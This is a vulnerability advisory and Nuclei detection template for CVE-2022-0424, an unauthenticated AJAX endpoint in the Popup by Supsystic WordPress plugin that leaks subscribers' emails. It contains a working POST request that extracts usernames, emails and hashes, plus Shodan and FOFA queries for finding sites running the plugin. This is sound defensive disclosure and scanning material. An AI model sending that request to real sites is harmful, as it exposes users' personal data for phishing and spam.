Popup by Supsystic < 1.10.9 - Subscriber Email Addresses Disclosure

mediumseverity

5.3CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

The Popup by Supsystic WordPress plugin before 1.10.9 does not have any authentication and authorisation in an AJAX action, allowing unauthenticated attackers to call it and get the email addresses of subscribed users

Impact

Unauthenticated attackers can obtain email addresses of all subscribed users via an unprotected AJAX endpoint, potentially facilitating phishing campaigns or spam attacks.

Fix

Fixed in 1.10.9

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"id\":\"" and "username\":\"" and "email\":" and "hash\":\"" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0424 -u <target>

The full check

id: CVE-2022-0424

info:
  name: Popup by Supsystic < 1.10.9 - Subscriber Email Addresses Disclosure
  author: s4e-io
  severity: medium
  description: |
    The Popup by Supsystic WordPress plugin before 1.10.9 does not have any authentication and authorisation in an AJAX action, allowing unauthenticated attackers to call it and get the email addresses of subscribed users
  impact: |
    Unauthenticated attackers can obtain email addresses of all subscribed users via an unprotected AJAX endpoint, potentially facilitating phishing campaigns or spam attacks.
  remediation: Fixed in 1.10.9
  reference:
    - https://wpscan.com/vulnerability/1e4593fd-51e5-43ca-a244-9aaef3804b9f/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0424
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0424
    cwe-id: CWE-306
    epss-score: 0.02849
    epss-percentile: 0.86821
    cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: supsystic
    product: popup
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-by-supsystic
    fofa-query: body=/wp-content/plugins/popup-by-supsystic
    publicwww-query: "/wp-content/plugins/popup-by-supsystic"
  tags: wpscan,cve,cve2022,wp,wp-plugin,wordpress,disclosure,popup,supsystic,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        page=subscribe&action=getListForTbl&reqType=ajax&search=@&_search=false&pl=pps&sidx=id&rows=10

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"id":"'
          - 'username":"'
          - 'email":'
          - 'hash":"'
          - "_wpnonce"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from